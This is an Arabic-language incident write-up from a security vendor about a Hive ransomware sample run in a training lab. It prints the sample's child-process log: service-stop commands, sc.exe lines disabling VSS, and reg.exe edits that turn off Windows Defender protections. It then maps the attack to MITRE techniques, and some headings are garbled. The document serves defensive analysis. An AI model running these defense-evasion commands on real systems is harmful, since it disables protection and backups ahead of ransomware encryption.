??????? ?????? - ?????? ?????? ??????? (Vanilla Ransomware)

??? ????????

بيانات التدريب - برمجية الفدية العادية (Hive)

??????????

في هذا السيناريو التدريبي، سنقوم بتنفيذ حمولة برمجية فدية "عادية"، تعمل بصلاحيات المسؤول (admin) دون أي ثغرات استغلال. يحاكي هذا المثال الأساسي لمستخدم يقوم بتنزيل برمجية خبيثة عبر رابط تصيد احتيالي، أو ذاكرة USB خبيثة، وما إلى ذلك.

على الرغم من أن هذه طريقة تنفيذ بسيطة جدًا، إلا أنه إذا كانت الحمولة عبارة عن ثغرة يوم صفري (zero day)، فإنها ستظل غير ملحوظة من قبل منتجات الأمان القائمة على التوقيعات (signature based)، وقد تسبب أضرارًا لا يمكن إصلاحها قبل أن تتمكن المنتجات السلوكية القائمة على السحابة من إعادة تحليلها.

?????? ?????

Number of Incidents	Machine Name	Program Path	Program Arguments
3	\\CC-NOAH-TEST	C:\Users\Administrator\Desktop\321d0c4f1bbb44c53cd02186107a18b7a...	321d0c4f1bbb44c53cd02186107a18b7a44c840a9a5f0a7

Created	Response Name	Untrusted Remote Threads	Modified Memory	No Trusted Cert
October 18, 2022 at 11:27:20 AM EDT	Spectacled-Bear Pearly-E	False	False	True
October 18, 2022 at 11:27:22 AM EDT	Petunia Wisteria Rail 829	False	False	True
October 18, 2022 at 11:27:14 AM EDT	Topi Safety-orange Alyss	False	False	True

□□□□□□□ □□□

التعرف على هذه الحادثة هو الأسهل من بين جميع العينات. بمجرد ملاحظة اسم الملف المشبوه لملف بدون توقيع، يكون ذلك علامة تحذيرية فورية.

لتأكيد طريقة التنفيذ، يمكننا النظر في عمليات إنشاء العمليات (process creations) حول وقت الحادثة. ما نراه يؤكد أنه لم تكن هناك طريقة استغلال معقدة، ولا حتى نص برمجي (script)! كما هو الحال مع العينات الأخرى، فإن عمليات إنشاء العمليات الفرعية مثيرة للاهتمام. على الرغم من أن طريقة تنفيذ البرمجية الخبيثة نفسها كانت واضحة، إلا أن العديد من العمليات في الخلفية تُبدأ لتعطيل الحماية وإعدادات النظام الأخرى.

Child Path	Child Arguments
C:\Windows\System32\net.exe	net.exe stop "LanmanWorkstation" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "LanmanWorkstation" /y
C:\Windows\System32\net.exe	net.exe stop "MsDtsServer130" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MsDtsServer130" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQLSERVER" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQLSERVER" /y
C:\Windows\System32\net.exe	net.exe stop "sacsvr" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "sacsvr" /y
C:\Windows\System32\net.exe	net.exe stop "SamSs" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SamSs" /y
C:\Windows\System32\net.exe	net.exe stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "SQLBrowser" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLBrowser" /y
C:\Windows\System32\net.exe	net.exe stop "SQLSERVERAGENT" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
C:\Windows\System32\net.exe	net.exe stop "SQLTELEMETRY$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLTELEMETRY$MSSQLSERVER01" /y

Child Path	Child Arguments
C:\Windows\System32\sc.exe	sc.exe config "SQLWriter" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "SstpSvc" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "vmicvss" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "VSS" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "WRSVC" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "UnistoreSvc_1a55fcc" start= disabled
C:\Windows\System32\reg.exe	reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\System32\reg.exe	reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t RE...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable...

في هذه المرحلة، تم احتواء الهجوم بواسطة Cyber Crucible، لكن تحليل العمليات ذات الصلة أمر مهم لتحديد نطاق السلوكيات الخبيثة. يبدو تنفيذ الملف التنفيذي غير الموقّع وحده واضحًا عندما يتم عرضه بواسطة Cyber Crucible، ولكن في كثير من الأحيان، يتم تجاهل العمليات التي تبدأ في الخلفية بواسطة شيء محمي وذو صلاحيات مثل Defender ببساطة.

??????? ??? ?????

- Mitre T1566 - قد يُستخدم التصيد الاحتيالي لخداع المستخدم لدفعه إلى تنفيذ إجراء ما كان ليقوم به ولا ذلك، مثل تشغيل نص برمجي أو مشاركة كلمة مرور.
- Mitre T1091 - قد تقوم البرمجية الخبيثة بنسخ نفسها إلى وسائط قابلة للإزالة بحيث يمكن للجهاز التالي الذي يتصل بها تنفيذها عبر التشغيل التلقائي (autorun) أو ثغرات برامج التشغيل.
- Mitre T1204 - تنفيذ المستخدم، الذي يُكتسب غالبًا عبر التصيد الاحتيالي، هو أبسط طريقة يمكن أن تبدأ بها البرمجية الخبيثة في التشغيل.

Revision #1
Created 2026-07-24 02:21:41 UTC by Dennis Underwood
Updated 2026-07-24 02:21:41 UTC by Dennis Underwood